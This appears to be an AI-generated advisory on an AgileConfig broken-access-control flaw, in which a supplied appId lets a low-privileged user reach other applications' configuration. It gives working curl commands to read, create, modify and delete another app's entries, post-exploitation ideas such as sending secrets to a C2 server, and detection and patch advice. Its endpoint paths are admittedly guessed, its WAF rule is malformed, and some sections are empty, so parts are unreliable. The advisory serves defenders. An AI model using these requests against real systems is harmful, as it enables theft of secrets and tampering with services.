CVE-2026-141327 — CWE-639
AgileConfig before 1.13.4 contains a broken access control vulnerability in PermissionCheckAttribute that allows non-admin users to act on unauthorized applications by supplying their identifiers. Attackers with configuration permissions for one application can search, add, edit and delete another application's configuration entries, exposing stored secrets such as connection strings.
AgileConfig before 1.13.4 contains a broken access control vulnerability in PermissionCheckAttribute that allows non-admin users to act on unauthorized applications by supplying their identifiers. Attackers with configuration permissions for one application can search, add, edit and delete another application's configuration entries, exposing stored secrets such as connection strings.
🎯 What is this vulnerability?
Broken Access Control in PermissionCheckAttribute (CWE‑639)
AgileConfig versions < 1.13.4 use an ASP.NET Core attribute called PermissionCheckAttribute to gate all configuration‑management endpoints. The attribute checks that the authenticated user has the “Configuration” permission for the application whose ID is supplied in the request.
The flaw is that the attribute does not validate that the appId (or equivalent identifier) in the request actually belongs to the application the user is authorized to manage. Consequently, any user who has Configuration permissions for one application can supply a different appId in the request and perform CRUD operations on that other application’s configuration entries.
Because configuration entries often contain secrets (connection strings, API keys, etc.), the vulnerability allows an attacker to:
- Read secrets from an application they are not authorized to view.
- Modify or delete configuration entries, potentially causing service disruption or enabling further attacks (e.g., injecting malicious configuration that triggers code execution downstream).
- Create new configuration entries that can be used to pivot into other parts of the system.
The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L) reflects that the attack requires only network access, low effort, no user interaction, and results in high confidentiality and integrity impact with a low availability impact.
⚡ Attack Chain
NOTE: The exact URI paths and parameter names are not specified in the CVE description. The following example uses the most common AgileConfig REST API patterns (/api/configurations) and is intended to illustrate the class of attack. In a real environment, you should first discover the exact endpoints and payload formats by inspecting the API documentation or performing a quick authenticated request.1. Discovery & Reconnaissance
| Step | Technique | What to look for |
|---|---|---|
| 1.1 | Port/Service scan | Identify HTTP/HTTPS services on the target host (e.g., nmap -sV -p80,443 <target>). |
| 1.2 | Banner grab / version endpoint | Send a request to /api/version or /swagger to obtain the AgileConfig version. Example: curl -s https://<target>/api/version. |
| 1.3 | Enumerate applications | If the user has any configuration permission, list applications via /api/applications. |
| 1.4 | Identify permission scope | Inspect the JWT or session cookie to see if the user has the *“Configuration”* role for any application. |
Result: The attacker now knows the target is AgileConfig < 1.13.4 and has a user token that grants configuration access to at least one application (call it App A).
2. Exploitation
The core of the exploit is to inject a different appId into the request. Below is a realistic, syntactically valid curl example that demonstrates reading configuration entries from App B (the target application the attacker does not own).
# Assume we have a valid JWT token for a user with config rights on App A
TOKEN="eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
# Target application ID (App B) that the attacker wants to read
TARGET_APP_ID="b1c2d3e4-5678-90ab-cdef-1234567890ab"
# 1. List all configuration entries for App B
curl -s -H "Authorization: Bearer $TOKEN" \
"https://<target>/api/configurations?appId=$TARGET_APP_ID" \
| jq
# 2. Read a specific configuration entry (e.g., ID 42)
curl -s -H "Authorization: Bearer $TOKEN" \
"https://<target>/api/configurations/42?appId=$TARGET_APP_ID" \
| jqWhat happens under the hood
1. The request reaches the PermissionCheckAttribute on the controller action.
2. The attribute verifies that the JWT contains the “Configuration” claim for App A (the user’s authorized app).
3. It does not compare the appId supplied in the query string (appId=$TARGET_APP_ID) with the authorized app.
4. The request is allowed to proceed, and the controller returns the configuration data for App B.
Create / Update / Delete
The same pattern applies to POST, PUT, and DELETE requests:
# Create a new config entry in App B
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"key":"NewKey","value":"NewValue","appId":"'"$TARGET_APP_ID"'"}' \
"https://<target>/api/configurations"
# Update an existing entry
curl -s -X PUT -H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"key":"ExistingKey","value":"UpdatedValue","appId":"'"$TARGET_APP_ID"'"}' \
"https://<target>/api/configurations/42"
# Delete an entry
curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
"https://<target>/api/configurations/42?appId=$TARGET_APP_ID"Illustrative Note: The exact JSON schema and endpoint paths may differ; adjust the payload accordingly based on the API spec.
3. Post‑Exploitation
Once the attacker has read or modified configuration entries:
1. Data Exfiltration
* Pull secrets (connection strings, API keys) and store them locally or forward them to a C2 server.
* Example: curl -s ... | jq -r '.value' > secrets.txt.
2. Privilege Escalation / Pivot
* Inject a malicious configuration that points a downstream service (e.g., a micro‑service that reads config at runtime) to a malicious endpoint or a reverse shell.
* Example: set a database connection string to a remote MySQL instance controlled by the attacker, then use that to dump the database.
3. Denial of Service
* Delete critical configuration entries (e.g., feature flags, health‑check URLs) to disrupt service availability.
4. Persistence
* Create a new configuration entry that automatically loads a malicious DLL or script on application startup.
🌍 Real World Impact
| Impact | CVSS Component | Practical Effect |
|---|---|---|
| Confidentiality (C:H) | Secrets exposed | Attackers can read database credentials, API keys, or any sensitive configuration. |
| Integrity (I:H) | Configuration tampering | Attackers can modify or delete configuration entries, leading to data corruption, unauthorized feature toggles, or malicious code injection. |
| Availability (A:L) | Limited | Deleting critical config can cause service downtime, but the vulnerability itself does not directly crash the system. |
Typical consequences in production:
🛡️ Remediation & Mitigation
A. Patch
| Affected Version | Fixed Version | Upgrade Recommendation |
|---|---|---|
| AgileConfig < 1.13.4 | 1.13.4+ | Immediately upgrade to the latest 1.13.x release or any later major/minor release. |
The patch adds a strict check inside PermissionCheckAttribute that verifies the appId supplied in the request matches the application ID(s) for which the authenticated user has the “Configuration” permission.
B. Workarounds (if upgrade is not immediately possible)
| Mitigation | Implementation |
|---|---|
| Restrict API access | Configure the web server (NGINX/Apache) or the ASP.NET Core middleware to allow the configuration endpoints only from trusted IP ranges or VPN. |
| WAF / ModSecurity rule | Block requests that contain an appId parameter not matching the user’s authorized app. Example rule (illustrative):<br>SecRule REQUEST_URI "@beginsWith /api/configurations" "chain,phase:2,block,msg:'Unauthorized appId'"<br>SecRule REQUEST_HEADERS:Authorization "t:none,lower,contains:admin" "t:none,lower,contains:appId=..." |
| Disable the vulnerable endpoints | If the configuration service is not needed by the user role, disable the /api/configurations routes in the ASP.NET Core Startup.cs by removing the controller or applying [Authorize(Roles="Admin")] to the entire controller. |
| Token‑scoped permissions | Ensure that JWT tokens contain a claim that lists the exact appIds the user may manage, and enforce this claim in a custom middleware before the controller action. |
Important: Workarounds are temporary and may interfere with legitimate application functionality. They should be used only as a last resort until a patch is applied.
C. Detection
| Log Pattern | Indicator of Compromise (IoC) |
|---|---|
GET /api/configurations?appId=<TARGET_APP_ID> | Multiple requests for the same appId that the user is not authorized for. |
POST /api/configurations with appId differing from the user’s authorized app | Creation of new config entries in unauthorized apps. |
DELETE /api/configurations/<ID>?appId=<TARGET_APP_ID> | Deletion of configuration entries in unauthorized apps. |
PUT /api/configurations/<ID> with appId mismatch | Modification of config entries. |
Sample log entry (NGINX):
192.0.2.10 - - [01/Dec/2026:12:34:56 +0000] "GET /api/configurations?appId=b1c2d3e4-5678-90ab-cdef-1234567890ab HTTP/1.1" 200 512 "-" "Mozilla/5.0" "Bearer eyJhbGci..."If you see the same appId in multiple requests from a single user that does not have permission for that app, flag it for investigation.
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]